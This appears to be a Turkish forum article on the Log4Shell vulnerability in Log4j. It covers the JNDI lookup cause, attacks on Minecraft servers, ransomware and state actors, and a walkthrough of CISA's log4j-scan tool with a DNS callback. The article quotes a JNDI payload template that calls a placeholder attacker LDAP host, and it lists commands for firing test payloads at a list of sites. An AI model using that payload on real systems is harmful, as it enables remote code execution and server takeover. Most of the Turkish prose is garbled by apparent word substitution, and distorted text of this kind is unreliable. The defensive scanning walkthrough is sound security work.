Log4Shell Güvenlik Zafiyeti Nedir? niye Bu Kadar Ses Getirdi?

Adanali

Member
Şu sıralar bilişim dünyası Log4j kütüphanesinde çıkan kod yürütme açığıyla ve sebep olduklarıyla çalkalanıyor. Zafiyetin keşfedilip yayınlanmasından daha sonrasında basına yansıyan yahut yansımayan birfazlaca sistem saldırganlarca amaç alındı ve etkilendi. Pekala bu zafiyet neydi ve niye bu kadar can yandı?

Log4Shell‘i sıradançe tanım edecek olursak, Java dayanaklı uygulamalarda programcıların sıkça faydalandığı loglama kütüphanesi Log4j’nin 2.x sürümlerinde çalışma biçiminden faydalanarak kod yürütmeye imkan tanıyan bir açık. Alibaba bünyesindeki güvenlik araştırmaları grubundan Chen Zhaojun tarafınca Kasım ayında tespit edilip Apache Vakfına bildirildi ve birinci vakit içinderda Aralık ayının başlarında bilinmeyen bir Çinli aktör tarafınca açık hale getirildi. Birinci çıkan bu zafiyet meselae CVE-2021-44228 kodu atandı. ondan sonrasındaları farklı kodlar da atanan ekstra açıklar da bu müddet zarfında çıkmaya devam etti.

Log4j, birinci vakit içinderda Türk bilgisayar programcısı Ceki Gülcü tarafınca Java programlama lisanına yönelik geliştirildi ve 2.x sürümlerinden itibaren de Apache Yazılım Vakfı bu geliştirme sürecini üstlendi.

Biraz ayrıntıya inecek olursak kütüphanenin “Message Lookups” ismi verilen ve günlük kayıtlarının ortam değişkenleri üzere birtakım yapıları çağırması zafiyetin asıl sebebi diyebiliriz. Log4Shell dökümantasyonuna bakılırsa güvenlik yamaları uygulanmamış rastgele bir Log4j 2.x kütüphanesi kullanmasında mesela ${env:pATH} üzere bir girdi kaydedilmeye çalışıldığında direkt PATH bildirisinin yerine ortam değişkeni ekrana basılıyor.

JNDI (Java Naming and Directory Interface / Java İsimlendirme ve Dizin Arabirimi) de işin içine girince ${jndi:java:comp/env} üzere bir kullanım mümkün hale geliyor. BlackHat USA 2016 da yapılan bir sunumda JNDI URI’lerinin doğrulanmadan kullanılmasının kod yürütme açıklarına niye olabileceği 4 sene önce gösterilmişti. bu biçimdece Log4j 2.x sürümlerinde var iseyılan olarak aktif biçimde bulunan “Message Lookups” özelliği yüzünden var iseyılan biçimde kullanıcı tarafınca alınan girdilerin günlüğe yazdırılması kod yürütmeye imkan tanınmasına yol açtı.

Apache tarafınca zafiyetin açıklanmasından daha sonra birebir hafta ortasında yama yayınlansa da güvenlik araştırmacıları her seferinde zafiyetin hala var olduğunu ve çeşitli bypass biçimleri kullanılarak çalıştırılabildiğini ispatladılar. En son 18 Aralık 2021’de 3. defa yama yayınlandı. Buna karşın hala remote (uzaktan) olmasa da local bir atak yüzeyi tespit edildi. Risk hala ortadan kalkmış değil üzere gözüküyor.

Log4j yazılımcılar tarafınca Java ile uygulama geliştirirken pek fazla kullanılan bir kütüphane. Neredeyse Java ile yazılmış biroldukca yazılımda Log4j’nin kullanıldığını söyleyebiliriz. ${jndi:ldap://[saldırganın sitesi yahut ip adresi]/a} biçimindeki bir payload (kötü emelli yük) programın input alanlarından verildiğinde saldırganlarca maksattan ilişki alınabiliyor.

Güvenlik araştırmacılarından John Hammond, Java ile yazılmış programlar içinde birinci akla gelen Minecraft’ta bile bu zafiyetin var olduğunu tespit etti. Sohbet alanından bahsetmiş olduğumiz yük gönderilerek gaye sunucunun denetimi rahatlıkla ele geçirilebiliyor. Diyelim ki bir gün canınız sıkıldı ve kendi bilgisayarınızda Minecraft sunucusu kurup internetteki oyuncu topluluklarında paylaştınız. Makus niyetli bir kişi yalnızca sunucunuza girip bu komutu göndermekle bile sisteminizi ele geçirebiliyor. pek tehlikeli ve vahim bir durum. İlgili zafiyetin denendiği görüntüyü merak ediyorsanız aşağıdan izleyebilirsiniz.


BitDefender tarafınca tespit edilen Khonsari Ransomware çetesi ise bilhassa yamalanmamış inançsız Minecraft sunucularını maksat alıyor. bahsetmiş olduğumiz biçimde sunuculara gönderilen kod parçacığı yardımıyla sunucu ve açığı kapatılmamış Minecraft sürümleriyle sunuculara bağlı olan istemcilerden kabuk/shell alınıyor. çabucak sonrasındasında ise aktörler tarafınca fidye yazılımı uzak sunucudan indirilerek amaç sistemlerde çalıştırılıyor. Burada oyuncu topluluğunu da çok ilgilendiren bir durum kelam konusu.

Sırf bir oyun olan Minecraft bir yana, Java bazlı uygulamalar ve tahliller bir fazlaca bölümde etkin olarak kullanılıyor. Log4Shell açığının tesir alanı başta finans kuruluşları olmak üzere taşınabilir aygıtlar ve uygulamalar, IoT yapıları, web siteleri, sanallaştırma tahlillerinin neredeyse tamamına yakın bir kısmını kapsıyor. Bu kütüphanenin kullanılmadığı Java uygulamaları çok az sayıda. Zafiyetin yayınlanmasından daha sonrasında çeşitli tehdit aktörlerinin her yerden mantar üzere çıktığını, ağır bir biçimde fidye yazılımı hücumlarının yaşandığı biliniyor.

Log4Shell üzere tesirli bir zafiyetin aslına bakarsanız bağımsız ve finansal motivasyona aktörlerin kullanımı kadar devlet dayanaklı kümelerin da amaçlara yönelik kullanmaya başlaması pek olağan diyebiliriz.

Microsoft Güvenlik Merkezi tarafınca yayınlanan rapora bakılırsa Çin, Kuzey Kore ve İran üzere ülkelerin siber aktörleri tarafınca Log4Shell açığı çeşitli kurumsal sistemlere karşı kullanıldı. Microsoft’un belirttiğine göre İran’lı aktörler daha evvelde de Phosphorus ismiyle, Çin’li aktörler ise Hafnium APT ismiyle tespit edilmişti.

Ayrıyeten bağımsız aktörlerin de bu mühlet zarfında boş durduğunu söyleyemeyiz. Oracle’ın Java RE suram ekranında “kendimi bildim bileli yazdığı” üzere “3 milyar cihaz” üzerinde Java yahut Java yazılımları çalışıyor. Log4j kütüphanesi de çoğunlukla kullanılan bir kütüphane olduğundan Log4Shell zafiyeti botnet ve fidye yazılımı (ransomware) çetelerinin çok ilgisini çekti. Binlerce hatta milyonlarca sistemi dışarıdan sistemlere girdi yapan ufak bir script ile ele geçirip denetime alabilmek yarar sağlamak ismine saldırganlar için çok kıymetli bir fırsat oldu diyebiliriz.

Daha evvel siber dünyada en son bu çapta bir hareketlilik EternalBlue ve ShellShock zafiyetleri yayınlandığında ortaya çıkmıştı. CloudFlare, Cisco, Red Çizgi, iCloud, ElasticSearch, Twitter, Steam üzere birfazlaca dev bu kütüphaneyi kullanıyor. Tabi şu anda bu platformlarda zafiyet yamalandığı için kullanmakta sorun olmasa da birinci çıktığında çok dehşet verici tesir yaptığını söyleyebiliriz.


BitDefender araştırmacılarının 11 ila 15 Aralık içinde toplamış olduğu telemetri bilgilerine bakılırsa en epeyce taarruz çıkışı görülen ülkeler Almanya ve Amerika Birleşik Devletleri iken çabucak gerisinden yüzde 34’lük bilinmeyen bir aktör oranı görüyoruz. en çok akına uğrayan ülkelerde ise ABD, Kanada ve İngiltere başı çekiyor. Bu ülkelerin başkalarına kıyasla daha hayli hücuma uğramasının niçininin biroldukça teknoloji yüklü, tabiri caizse paralı şirketin bu pozisyonlarda yer alması olduğunu söyleyebiliriz.

Siber güvenlik odaklı bir bakış açısında programları ve geliştirilen yazılım teknolojilerini birçok vakit birbirinden farklı düşünürseniz kusur edersiniz. Google’ın araştırmasına nazaran Log4j’deki zafiyetten ötürü 35.000 geliştirme paketi yahut küçük kütüphane diyebileceğimiz yapı etkilendi. Bunu zincirleme kaza üzere düşünebiliriz. Biri başkasına süratle çarpınca o aracın tesiriyle öbür araçlar da kazadan hissesini almakta.

2.620 pakette yer alan bu dolaylı güvenlik açıkları ise Log4Shell’in ortaya çıktığı birinci hafta ortasında sıklıkla yamandı. Geriye kalan 31 bin küsur paketteki zafiyetin yamalanıp yamalanmadığını ise çabucak hemen bilmiyoruz.

BreachQuest CEO’su Jake Williams’a nazaran Log4j’nin olumsuz tesirlerinin anlaşılması biraz fazla vakit alacak. Çünkü fazlaca fazla yazılıma direkt olmasa bile bahsetmiş olduğumiz üzere dolaylı istikametten dahil bir kod kütüphanesi. Ek olarak hücumların öteki zincirleme tesirleri de bulunuyor. Saldırganlar birinci erişimi kazandıktan daha sonra sistemde geniş yetkilere ulaşmak için birtakım hak yükseltme (privilege escalation) ve sızılan network üzerinde yayılabilmek için yanal hareket (lateral movement) süreçleri izleyecekler. Bunlar da hem saldırganlar açısından birebir vakitte yeni çıkan bir zafiyetin tesiriyle boğuşan “blue team ekipleri” (terminolojide sistemlerin güvenliğinde sorumlu olan birimler) için çok sıkıntı anlaşılır diyebileceğimiz vakit alıcı bir müddetç.

Dünya ve bilişim tarihine dikkat edin, her daim birtakım olayların tesiriyle oluşan dehşet havasından nemalanmaya çalışan fırsatçılar olmuştur. Savaşları fırsata çevirenler, krizleri lehlerine kullananlar, karaborsacılar ve dahası… Siber dünyada da bu bu biçimde. Ne vakit yüksek potansiyelli ve endişe salan bir zafiyet ortaya çıkarsa meydana çıkıyorlar.

Olağan koşullarda kurum ve kuruluşlara güvenlik testi uygulanması gerektiğinde belirli başlı planlamalar yapılıp, kriterler belirlenirken ve buna uygun bir biçimde tercih edilen test usulüne göre kimi metodolojiler izlenirken; sadece “Log4Shell” testi yapmak ve yalnızca bunun için insanlardan binlerce lira para talep etmek açıkça fırsatçılıktan öbür bir şey değil.

Güvenliğin gerek fizikî, gerek teknolojik, gerek de yazılımsal olmak üzere her istikametiyle bir bütün olduğunu aklımızdan çıkarmamakla birlikte, illa bu biçimde bir test yapılacaksa evvel kurumun yahut kuruluşun Log4j kütüphanesini kullanıp kullanmadığının öğrenilmesi gerekmektedir. Bilhassa son vakit içinderda çoğalan bu biçim fırsatçılara karşı uyarmakta fayda görüyoruz.

CISA (Amerikan Siber Güvenlik ve Altyapı Güvenliği Ajansı) tarafınca Log4j zafiyetinin tespitine yönelik pek gelişmiş bir araç yayınlandı. Sistemlerinizin bu zafiyetten etkilenip etkilenmediğini bu araç sayesinde rahatlıkla öğrenebilirsiniz.

Aracın mantığı girdi alanlarına berbat maksatlı payload’ın gönderilip bir DNS isteği almaya dayanıyor. Şayet araç tarafınca gönderilen payload gayede başarılı olursa belirttiğimiz DNS adresine bir DNS isteği dönüyor. Daha fazlaca uzatmadan aracın çabucak kullanmasını gösterelim, bu biçimdece ne demek istediğimiz daha düzgün anlaşılacaktır.

1 – Öncelikle aracı GitHub üzerinden edinmemiz gerek. Ben halihazırda Ubuntu kullandığım için süreçleri bu işletim sistemi üzerinden anlatacağım. Sizler de kendi sisteminize nazaran yapabilirsiniz, sorun olmaz.

Yayınlanan zafiyet tarayıcısının GitHub sayfasına gidelim. Ben Git kullandığım için buradaki adresi kopyalayarak terminal üzerinden git clone komutu ile repoyu indireceğim ve indirdiğim dizine cd komutu ile geçiş yapacağım, daha kolayıma geliyor. Sizler Git kullanmıyorsanız “Download ZIP” diyerek de indirebilirsiniz.



2 – İçine girdiğimiz dizini ls -la ile denetim edelim. Gördüğünüz üzere inmiş. Bizim tarama aracımız ise bu dizinin ortasındaki log4-scanner klasöründe. Bu niçinle cd log4-scanner komutunu girip, ls -la ile denetim ediyoruz.


3 – Artık aracımızın bulunduğu dizine muvaffakiyetle girdiğimize bakılırsa aracımızı kullanmak için gereken birtakım yorumlayıcıları ve bağımlılıkları yüklememiz gerekiyor. Bu araç Python 3 ile geliştirilmiş, yani sistemimizde Python 3 yorumlayıcısı yoksa evvel onu kurmalıyız. aslına bakarsanız var ise direkt benim yaptığım üzere pip install -r requirements.txt komutu sayesinde bağımlı paketleri kurabilirsiniz.


4 – Bağımlılıkları da kurduğumuza bakılırsa aracımızı çalıştırılabilir hale getirmek için chmod +x log4j-scan.py komutu ile yürütebilirlik müsaadesi veriyorum. ondan sonrasında aracı nasıl kullanabileceğimize dair ayrıntılı bilgi edinmek için ./log4j-scan.py –help komutunu giriyorum. Gördüğünüz üzere kullanabileceğimiz bütün opsiyonlar karşımızda.


5 – Sıra geldi test edilecek web sitelerini yahut sayfaları liste haline getirmeye. Aracımıza bir liste vermemiz gerekiyor ki onların üzerinde tarama yapabilsin. nano taramalistesi.txt komutu ile bir metin evrakı oluşturup içerisine tarama yapmak istediğim web sitelerini yazıyorum. çabucak sonrasında CTRL+S ve CTRL+X ile kaydedip çıkıyorum.


6 – Tarama listem oluşmuş mu diye bakmak için tekrar “ls -la” yapıyorum. Gördüğünüz üzere oluşmuş.


7 – Bir şey hariç her şeyimiz tamam, zafiyet tarayıcısının gayelere göndereceği payloadlar çalışırsa bir yere (DNS sunucusu gibi) istek yapması ve bizim onu görmemiz gerekiyor. bu biçimdelikle zafiyetin var olup olmadığını anlayabiliyoruz.

Bunun için Dnslog.cn diye bir hizmet var. Tek tık ile isteklerin sıradan bir biçimde gönderilebileceği bir subdomain oluşturabiliyorsunuz. Buraya gelip “Get SubDomain” diyelim ve çıkan adresi kopyalayalım. Şayet sizler DNS isteği bu üslup dış ortamlara yapılsın istemiyorsanız kendi server yapınız üzerinde de DNS sunucusu kurup istekleri loglayabilirsiniz.


8 – Artık taramaya başlayabiliriz. ./log4j-scan.py –test-CVE-2021-45046 –custom-dns-callback-host [isteğin gideceği DNS sunucusu] -l [listeniz.txt] komutunu girerek denemeleri başlatıyorum. Buradaki komutu siz kendinize nazaran düzenlemelisiniz. Ben programın bütün özellikleri yerine sadece CVE-2021-45046’yı test etmesini istedim. Siz spesifik olarak değil de Log4Shell hakkında genel tarama olsun diyorsanız –run-all-tests parametresini kullanabilirsiniz.

Test bittiğine göre DNSLog.cn adresine dönelim ve rastgele bir istek gelip gelmediğine bakalım.


9 – “Refresh Record” diyelim ve biraz bekleyelim.

Rastgele bir istek gelmemiş gözüküyor. Gelmemesi de olağan zira Technopat web sayfası üzerinde Java teknolojileri kullanılmıyor. ötürüsıyla Log4j kütüph0anesini de kullanmadığımız için bu zafiyetten etkilenmiyoruz. Sizin denediğiniz sistem etkileniyorsa burada isteğin geldiği sistemin IP adresi, vakti üzere birtakım çıktıları bakılırsaceksiniz.


Geliştirici yahut sistem yöneticisi iseniz Log4Shell zafiyetinin sistemlerinizde var olup olmadıklarını anlayabilmek ve misal zafiyetlere tedbir alabilmek için ÇözümPark takımı çatısı altında bu husus hakkında birlikte biroldukça uzmanın hazırlamış olduğu çok bilgilendirici bir canlı yayın kaydı bulunuyor. Çabucak aşağıdan izleyebilirsiniz.


Ayrıyeten siber güvenlik şirketi Prodaft’ın kurucu ortağı olan Mehmet Dursun İnce’nin de zafiyeti ayrıntılıca anlattığı Twitch kesitini aşağıdan izleyebilirsiniz.


Sonuç

Maksadımız ortaya çıkar çıkmaz sizlere süratlice lakin palavra yanlış haberleri ulaştırmak değil, husus hakkındaki en gerçek bilgiyi vermek olduğundan benim açımdan bu yazıyı hazırlamak çok sıkıntı oldu diyebilirim. Log4Shell zafiyetinin neyden kaynaklandığına, ne üzere tesirleri olduğuna, fırsatçılara ve nasıl sistemlerinizde bu açığı bulup kapatabileceğinize olabilecek en güzel biçimde değinmeye çalıştık. Umarız ki sizler de beğenmişsinizdir.

Merak ettikleriniz ve tenkitleriniz için çabucak aşağıdan yorum yapabilirsiniz. Siber güvenlik ve bilgisayar dünyasının başka bütün alanları hakkında gerçek bilgi çin Technopat.Net’i takipte kalın.